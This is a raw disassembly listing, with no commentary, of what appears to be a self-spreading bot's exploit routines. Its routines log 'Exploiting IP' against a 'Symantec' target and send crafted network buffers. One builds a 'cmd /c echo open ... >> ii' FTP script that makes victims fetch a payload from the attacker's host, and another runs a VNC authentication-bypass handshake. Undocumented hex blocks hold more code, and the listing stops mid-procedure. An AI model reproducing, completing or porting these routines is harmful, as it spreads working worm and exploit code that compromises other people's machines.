sub esp, 854h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-14h]
push edi
push eax
mov [ebp-4], edi
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+0Ch]
mov word ptr [ebp-14h], 2
push eax
call dword_4CBA14
push dword ptr [ebp+0A8h]
mov [ebp-10h], eax
call dword_4CB9D4
push 6
push 1
push 2
mov [ebp-12h], ax
call dword_4CBA54
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E929
lea eax, [ebp-14h]
push 10h
push eax
push ebx
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jz loc_40E929
push edi
push 89h
push offset dword_432C88
push ebx
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E929
mov esi, 640h
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9EC
push edi
push 0A8h
push offset dword_432D14
push ebx
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E929
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9EC
push edi
push 0DEh
push offset dword_432DC0
push ebx
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E929
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9EC
movsx eax, byte ptr [ebp-810h]
sub eax, 30h
jz short loc_40E933
dec eax
jz short loc_40E930
loc_40E929: ; CODE XREF: ___:0040E884j
; ___:0040E89Aj ...
xor eax, eax
jmp loc_40E9F6
; ---------------------------------------------------------------------------
loc_40E930: ; CODE XREF: ___:0040E927j
push edi
jmp short loc_40E957
; ---------------------------------------------------------------------------
loc_40E933: ; CODE XREF: ___:0040E924j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E3F1
add esp, 0C4h
test al, al
jnz short loc_40E977
push 1
loc_40E957: ; CODE XREF: ___:0040E931j
push ebx
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E3F1
add esp, 0C4h
test al, al
jz short loc_40E97E
loc_40E977: ; CODE XREF: ___:0040E953j
mov dword ptr [ebp-4], 1
loc_40E97E: ; CODE XREF: ___:0040E975j
push ebx
call dword_4CBA6C
cmp dword ptr [ebp-4], 0
jz short loc_40E9F3
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
lea eax, [ebp-214h]
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp-214h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
lea eax, [ebp-214h]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
add esp, 2Ch
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40E9F3: ; CODE XREF: ___:0040E989j
push 1
pop eax
loc_40E9F6: ; CODE XREF: ___:0040E92Bj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E9FB proc near ; CODE XREF: sub_40EAE9+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
nop
call near ptr 71AB12F8h
push [ebp+arg_BC]
mov [ebp+var_C], eax
nop
call near ptr 71AB1746h
push esi
push 1
push 2
mov [ebp+var_E], ax
call near ptr 71AB3C22h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40EAC9
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jz short loc_40EAC9
mov edi, 400h
push esi
mov esi, dword_4271FC
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_429108
push eax
push eax
push dword_4CB710
push [ebp+arg_0]
call sub_40AA06
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41C360
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
nop
call near ptr 71AB1AF4h
cmp eax, 0FFFFFFFFh
jnz short loc_40EACD
loc_40EAC9: ; CODE XREF: sub_40E9FB+50j
; sub_40E9FB+62j
xor eax, eax
jmp short loc_40EAE4
; ---------------------------------------------------------------------------
loc_40EACD: ; CODE XREF: sub_40E9FB+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call near ptr 71AB1A6Dh
nop
push 1
pop eax
loc_40EAE4: ; CODE XREF: sub_40E9FB+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40E9FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EAE9 proc near ; CODE XREF: sub_40C3E8+1EAp
; DATA XREF: ___:off_4317FCo
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4CBA14
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4CB9D4
push 6
push 1
push 2
mov [ebp+var_E], ax
nop
call near ptr 71AB3C22h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40EB5B
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call near ptr 71AB3E5Dh
nop
cmp eax, 0FFFFFFFFh
jnz short loc_40EB3C
push esi
jmp short loc_40EB55
; ---------------------------------------------------------------------------
loc_40EB3C: ; CODE XREF: sub_40EAE9+4Ej
push 0
push 1213h
push offset dword_433424
push esi
nop
call near ptr 71AB1AF4h
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40EB5F
loc_40EB55: ; CODE XREF: sub_40EAE9+51j
nop
call near ptr 71AB1A6Dh
loc_40EB5B: ; CODE XREF: sub_40EAE9+3Cj
xor eax, eax
jmp short loc_40EBA1
; ---------------------------------------------------------------------------
loc_40EB5F: ; CODE XREF: sub_40EAE9+6Aj
call near ptr 71AB1A6Dh
nop
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E9FB
add esp, 0C0h
test eax, eax
jz short loc_40EB9E
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40EB9E: ; CODE XREF: sub_40EAE9+9Ej
push 1
pop eax
loc_40EBA1: ; CODE XREF: sub_40EAE9+74j
pop edi
pop esi
leave
retn
sub_40EAE9 endp
; =============== S U B R O U T I N E =======================================
sub_40EBA5 proc near ; CODE XREF: ___:0040EC93p
; ___:0040ECF5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
loc_40EBAD: ; CODE XREF: sub_40EBA5+2Dj
test edi, edi
jle short loc_40EBD8
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call dword_4CB9EC
test eax, eax
jz short loc_40EBD4
cmp eax, 0FFFFFFFFh
jz short loc_40EBD4
sub edi, eax
add esi, eax
jmp short loc_40EBAD
; ---------------------------------------------------------------------------
loc_40EBD4: ; CODE XREF: sub_40EBA5+22j
; sub_40EBA5+27j
xor eax, eax
jmp short loc_40EBDB
; ---------------------------------------------------------------------------
loc_40EBD8: ; CODE XREF: sub_40EBA5+Aj
push 1
pop eax
loc_40EBDB: ; CODE XREF: sub_40EBA5+31j
pop edi
pop esi
retn
sub_40EBA5 endp
; =============== S U B R O U T I N E =======================================
sub_40EBDE proc near ; CODE XREF: ___:0040ECDFp
; ___:0040ED0Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40EC1B
xor esi, esi
test edi, edi
jle short loc_40EC15
loc_40EBEE: ; CODE XREF: sub_40EBDE+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40EC1B
test eax, eax
jz short loc_40EC1B
add esi, eax
cmp esi, edi
jl short loc_40EBEE
loc_40EC15: ; CODE XREF: sub_40EBDE+Ej
push 1
pop eax
loc_40EC18: ; CODE XREF: sub_40EBDE+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40EC1B: ; CODE XREF: sub_40EBDE+8j
; sub_40EBDE+2Bj ...
xor eax, eax
jmp short loc_40EC18
sub_40EBDE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24Ch
push ebx
mov ax, word_4346DC
push esi
push edi
push 0
push 1
push 2
mov [ebp-2], ax
pop esi
push esi
call dword_4CBA54
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_40EC4D
push eax
jmp short loc_40EC81
; ---------------------------------------------------------------------------
loc_40EC4D: ; CODE XREF: ___:0040EC48j
lea eax, [ebp+0Ch]
push eax
call dword_4CBA14
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
mov [ebp-4Ch], si
call dword_4CB9D4
mov [ebp-4Ah], ax
lea eax, [ebp-4Ch]
push 10h
push eax
push ebx
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jnz short loc_40EC8C
push ebx
loc_40EC81: ; CODE XREF: ___:0040EC4Bj
call dword_4CBA6C
jmp loc_40EE87
; ---------------------------------------------------------------------------
loc_40EC8C: ; CODE XREF: ___:0040EC7Ej
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-20h]
and byte ptr [ebp-2Ch], 0
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-38h]
push offset aRfb03d_03d ; "RFB %03d.%03d\n"
push eax
call sub_41CCE3
add esp, 10h
cmp eax, esi
jnz loc_40EE80
cmp dword ptr [ebp-28h], 3
jz short loc_40ECD8
cmp dword ptr [ebp-20h], 8
jnz loc_40EE80
loc_40ECD8: ; CODE XREF: ___:0040ECCCj
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-3Ch]
push esi
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-2]
push 1
push eax
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-24h]
push 4
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
mov eax, [ebp-24h]
mov edi, 0FF0000h
mov ecx, eax
mov edx, eax
and ecx, edi
mov esi, 0FF00h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, esi
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov [ebp-24h], ecx
jnz loc_40EE80
push 1
push offset word_4CB88C
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-1Ch]
push 18h
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
xor eax, eax
mov ecx, [ebp-8]
mov al, [ebp-1Bh]
mov edx, ecx
mov ah, [ebp-1Ch]
mov [ebp-1Ch], ax
xor eax, eax
mov al, [ebp-19h]
mov ah, [ebp-1Ah]
mov [ebp-1Ah], ax
xor eax, eax
mov al, [ebp-13h]
mov ah, [ebp-14h]
mov [ebp-14h], ax
xor eax, eax
mov al, [ebp-11h]
mov ah, [ebp-12h]
mov [ebp-12h], ax
xor eax, eax
mov al, [ebp-0Fh]
mov ah, [ebp-10h]
mov [ebp-10h], ax
mov eax, ecx
and eax, edi
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, esi
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [ebp-8], eax
add eax, 2
push eax
call sub_41D9A5
mov edi, [ebp-8]
pop ecx
test edi, edi
mov esi, eax
jle short loc_40EE10
push edi
push esi
push ebx
call sub_40EBA5
add esp, 0Ch
loc_40EE10: ; CODE XREF: ___:0040EE03j
and byte ptr [edi+esi], 0
lea eax, [ebp+0Ch]
push eax
push esi
push dword ptr [ebp-20h]
lea eax, [ebp-24Ch]
push dword ptr [ebp-28h]
push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp-24Ch]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
lea eax, [ebp-24Ch]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
add esp, 34h
shl eax, 6
inc dword_431800[eax]
push ebx
lea eax, dword_431800[eax]
call near ptr 71AB1A6Dh
nop
push 1
pop eax
jmp short loc_40EE89
; ---------------------------------------------------------------------------
loc_40EE80: ; CODE XREF: ___:0040EC9Dj
; ___:0040ECC2j ...
push ebx
nop
call near ptr 71AB1A6Dh
loc_40EE87: ; CODE XREF: ___:0040EC87j
xor eax, eax
loc_40EE89: ; CODE XREF: ___:0040EE7Ej
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40EE97: ; CODE XREF: ___:0040EEB3j
; ___:0040EECFj
push 0
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CE708
call dword_4CB9EC
test eax, eax
jle short loc_40EE97
lea ecx, [ebp-4]
push 0
push ecx
push eax
lea eax, [ebp-404h]
push eax
push dword_4CE704
call near ptr 273186Ah
nop
jmp short loc_40EE97
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40EEDA: ; CODE XREF: ___:0040EF00j
; ___:0040EF1Aj
lea eax, [ebp-4]
and dword ptr [ebp-4], 0
push 0
push eax
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CE6F8
call near ptr 27310DDh
nop
cmp dword ptr [ebp-4], 0
jle short loc_40EEDA
push 0
lea eax, [ebp-404h]
push dword ptr [ebp-4]
push eax
push dword_4CE708
call dword_4CBA24
jmp short loc_40EEDA
; ---------------------------------------------------------------------------
dword_40EF1C dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh
; DATA XREF: sub_401ACD+2CCAo
dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
dd 15FFFFFFh, 4CB9D4h, 6A56066Ah, 45896602h, 5415FFCAh
dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh, 4CBA0015h
dd 0FF056A00h, 15FF0875h, 4CB9FCh, 71081D8Bh, 358B0042h
dd 427070h, 75FF5757h, 6815FF08h, 0A3004CBAh, 4CE708h
dd 57F4458Dh, 0E7046850h, 68004Ch, 0C7004CE7h, 0CF445h
dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4CE6FCh
dd 4CE6F868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh
dd 4CE700h, 890CC483h, 0FCA1BC45h, 89004CE6h, 6A57C045h
dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
dd 7D896600h, 0D1E890B4h, 50023415h, 0E6FC35FFh, 0E890004Ch
dd 23415C4h, 0CDE89050h, 8D02340Fh, 8D50D845h, 57508445h
dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346E068h
dd 0A6E85700h, 90022912h, 50E8458Dh, 0D1685757h, 8D0040EEh
dd 5057F445h, 2B14B1E8h, 45899002h, 0E8458DECh, 68575750h
dd 40EE8Eh, 57F4458Dh, 97E89050h, 6A022B14h, 0F04589FFh
dd 90D875FFh, 2C1622E8h, 75FF5702h, 34E890F0h, 57022C1Dh
dd 90EC75FFh, 2C1D2AE8h, 0F075FF02h, 75FFD6FFh, 57D6FFECh
dd 0E8D875FFh, 2331909h, 35FF90h, 0FF004CE7h, 435FFD6h
dd 0FF004CE7h, 0F835FFD6h, 0FF004CE6h, 0FC35FFD6h, 0FF004CE6h
dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
dd 0FFFE6800h, 680000h, 0E8000004h, 9AD1h, 0E710A359h
dd 0C359004Ch
dword_40F108 dd 81EC8B55h, 6C0ECh, 8458B00h, 6A575653h, 59F08B27h, 0FF50BD8Dh
; DATA XREF: sub_40BD91+34Do
dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
dd 15FFFFFFh, 4CB9D4h, 26A5653h, 0EE458966h, 0FFF05D89h
dd 4CBA5415h, 83F88B00h, 0FE3BFFCEh, 5D394575h, 532075E4h
dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh
dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 51E89053h
dd 8B02310Eh, 0FFFF5485h, 69106AFFh, 234C0h, 1CB88900h
dd 8D0043E9h, 5750EC45h, 0BA0015FFh, 0C63B004Ch, 400BBh
dd 0CF850F00h, 0FF000000h, 4CB96815h, 27403D00h, 47740000h
dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h
dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh
dd 5959FFFFh, 0DD2E856h, 68900231h, 0FFFEh, 9997E853h
dd 0A3590000h, 4CE710h, 45896659h, 0EC458DEEh, 5750106Ah
dd 0BA0015FFh, 0C63B004Ch, 15FF5475h, 4CB968h, 7539F633h
dd 3D2775E4h, 2740h, 8D562074h, 0FFFD4085h, 0E075FFFFh
dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h
dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h
dd 0FFC435E8h, 565959FFh, 0D56E890h, 56A0231h, 0FC15FF57h
dd 3B004CB9h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h
dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA6815h
dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h
dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
dd 4CB9ECh, 74FFF883h, 0FF565696h, 4CB71035h, 50B5FF00h
dd 0E8FFFFFFh, 0FFFFB6C2h, 0E8685059h, 8D004346h, 0FFF94085h
dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh
dd 0C657E8h, 8D505900h, 0FFF94085h, 75FF50FFh, 2415FF08h
dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E71805FFh, 38E9004Ch
dd 57FFFFFFh, 0BA6C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h
dd 6A59FFh, 0C56E890h
db 31h, 2
word_40F3AA dw 8B55h ; DATA XREF: sub_40BD91+22Ao
dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h, 0A9h, 0BD8DF08Bh
dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
dd 16850F6h, 89000001h, 5D89D85Dh, 0E85D89E0h, 0FDD4B589h
dd 0B589FFFFh, 0FFFFFBC4h, 4DE0E890h, 5356716Ah, 0E890026Ah
dd 716A481Eh, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh
dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h, 8B57FB6Ah
dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 90578004h, 6A211DE8h
dd 10A16671h, 83004CB7h, 5000C865h, 0C445C766h, 15FF0002h
dd 4CB9D4h, 0C6458966h, 6AC4458Dh, 90575010h, 6A4A69E8h
dd 7DC08571h, 0E9C38B07h, 548h, 90570A6Ah, 6A6969E8h, 0D49D8971h
dd 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh, 416AFC7Dh
dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h
dd 56FFFFFBh, 8B505656h, 5040FC45h, 6A23DBE8h, 0F8839071h
dd 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h, 6AF633C5h
dd 60858D64h, 56FFFFFDh, 0CA96E850h, 646A0000h, 0FF50858Dh
dd 5056FFFFh, 0CA87E8h, 18C48300h, 0FBC4858Dh, 5750FFFFh
dd 16E57E8h, 0FC08500h, 4A284h, 0F87D3B00h, 458D7A75h
dd 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 90F875FFh, 6A916CE8h
dd 0FFF88371h, 479840Fh, 0C9330000h, 0FDD4B539h, 1676FFFFh
dd 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h, 0FFFFFDD4h
dd 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h, 890D7340h
dd 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh, 0FC458903h
dd 68156A56h, 4349ACh, 0E9D3FF50h, 423h, 60858D56h, 6AFFFFFDh
dd 0E8575064h, 716A6100h, 7FC08590h, 0D4958B52h, 33FFFFFDh
dd 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h, 3B04C083h
dd 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh, 4508BFFh
dd 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah, 0D48DFFECh
dd 57FFFFFDh, 248BE890h, 0BCE9716Ah, 8D000003h, 0FFFCC885h
dd 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh, 4349A4h
dd 0D6DDE850h, 858D0000h, 0FFFFFF50h, 43499C68h, 39E85000h
dd 830000D4h, 0C08518C4h, 6A560D75h, 49846816h, 82E90043h
dd 8D000000h, 0FFFF5085h, 497C68FFh, 0E8500043h, 0D414h
dd 59C08559h, 6A560A75h, 49646814h, 61EB0043h, 0FF50858Dh
dd 5C68FFFFh, 50004349h, 0D3F3E8h, 0C0855900h, 560A7559h
dd 4C680D6Ah, 0EB004349h, 50858D40h, 68FFFFFFh, 434944h
dd 0D3D2E850h, 85590000h, 0A7559C0h, 68106A56h, 434930h
dd 858D1FEBh, 0FFFFFF50h, 43492C68h, 0B1E85000h, 590000D3h
dd 7559C085h, 1E6A560Eh, 43490C68h, 0D9E95700h, 0BF000002h
dd 434904h, 0FF50858Dh, 5057FFFFh, 0D38BE8h, 0C0855900h
dd 8D247559h, 0FFFCC885h, 490068FFh, 0E8500043h, 0D374h
dd 59C08559h, 6A560D75h, 48EC6813h, 9AE90043h, 8D000002h
dd 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h, 858D2475h
dd 0FFFFFCC8h, 4348E868h, 3DE85000h, 590000D3h, 7559C085h
dd 136A560Dh, 4348D468h, 263E900h, 858D0000h, 0FFFFFF50h
dd 4348CC68h, 19E85000h, 590000D3h, 7559C085h, 0BE0A6A34h
dd 4348A0h, 0D8BD8D59h, 0F3FFFFFEh, 858D50A5h, 0FFFFFED8h
dd 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h, 875FF50h
dd 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh, 434898h, 0D2CEE850h
dd 85590000h, 2A7559C0h, 80BE056Ah, 59004348h, 0FF38BD8Dh
dd 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh, 0C218h
dd 858D5059h, 0FFFFFF38h, 858DB2EBh, 0FFFFFF50h, 43487868h
dd 8DE85000h, 590000D2h, 0F59C085h, 0B685h, 2C858D00h
dd 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h, 8D50E445h
dd 8D50DC45h, 8D50D445h, 0FFFD6085h, 485068FFh, 0E8500043h
dd 0D4E7h, 0FF04858Dh, 0E850FFFFh, 0C951h, 858DF88Bh, 0FFFFFD2Ch
dd 0C943E850h, 45890000h, 8D326AF4h, 0FFFF0485h, 0E85056FFh
dd 0C748h, 8D34C483h, 0FFFF0485h, 0F475FFFFh, 48486857h
dd 0E8500043h, 0CA26h, 858D106Ah, 0FFFFFF04h, 56E85056h
dd 830000CFh, 45891CC4h, 0EC458DF4h, 0E4458D50h, 0DC458D50h
dd 0D4458D50h, 0B4458D50h, 43483C68h, 0F3E85000h, 830000C9h
dd 6A5618C4h, 481C681Dh, 6E90043h, 8D000001h, 0FFFF5085h
dd 481468FFh, 0E8500043h, 0D1BCh, 59C08559h, 0CC850Fh
dd 6A560000h, 47E86828h, 75FF0043h, 0FFD3FF08h, 458DF475h
dd 8E850B4h, 59000001h, 5901F883h, 9E850Fh, 0B5390000h
dd 0FFFFFBBCh, 8D562375h, 0FFF72085h, 0B8B5FFFFh, 50FFFFFBh
dd 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h, 9F7FE8FFh, 0C483FFFFh
dd 14AE814h, 0F8830000h, 93850F01h, 56000000h, 0D068176Ah
dd 0FF004347h, 0D3FF0875h, 50B4458Dh, 0F720858Dh, 9868FFFFh
dd 50004347h, 0C949E8h, 0CC48300h, 0FBBCB539h, 2375FFFFh
dd 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h, 858D50FFh, 0FFFFFB38h
dd 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h, 8D14C483h, 0FFF72085h
dd 0E1E850FFh, 0FF000063h, 4CE4E005h, 2EEB5900h, 68206A56h
dd 434774h, 858D1FEBh, 0FFFFFF50h, 42CD2068h, 0D5E85000h
dd 590000D0h, 7559C085h, 1B6A560Dh, 43475868h, 875FF00h
dd 646AD3FFh, 0FD60858Dh, 5056FFFFh, 0C5D3E8h, 87D8B00h
dd 470CC483h, 89FC7D3Bh, 8E0F087Dh, 0FFFFFB19h, 0FFFAD9E9h
dd 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp-1A0h]
push eax
push 101h
nop
call near ptr 71AB41DAh
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
push dword ptr [ebp+8]
mov dword_4CE71C, eax
mov word ptr [ebp-10h], 2
nop
call near ptr 71AB12F8h
push dword ptr [ebp+0Ch]
mov [ebp-0Ch], eax
nop
call near ptr 71AB1746h
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push dword_4CE71C
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jnz short loc_40FA37
push dword_4CE71C
call near ptr 71AB1A6Dh
nop
nop
call near ptr 71AB1836h
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40FA37: ; CODE XREF: ___:0040FA1Fj
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp-104h]
push 104h
push eax
push 0
nop
call near ptr 26B0000h
lea eax, [ebp-104h]
push offset dword_429068
push eax
call sub_41BEA2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40FAD3
test byte ptr [esi+0Ch], 10h
jnz short loc_40FAB7
push edi
mov edi, 400h
loc_40FA7F: ; CODE XREF: ___:0040FAB4j
push esi
push 1
lea eax, [ebp-504h]
push edi
push eax
call sub_41BAFA
add esp, 10h
lea eax, [ebp-504h]
push 0
push edi
push eax
push dword_4CE71C
call near ptr 71AB1AF4h
nop
push 1
nop
call near ptr 26C04BFh
test byte ptr [esi+0Ch], 10h
jz short loc_40FA7F
pop edi
loc_40FAB7: ; CODE XREF: ___:0040FA77j
push esi
call sub_41BA3B
pop ecx
push dword_4CE71C
nop
call near ptr 71AB1A6Dh
nop
call near ptr 71AB1836h
push 1
pop eax
loc_40FAD3: ; CODE XREF: ___:0040FA71j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FAD6 proc near ; DATA XREF: sub_401ACD+2229o
; sub_40BD91+475o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
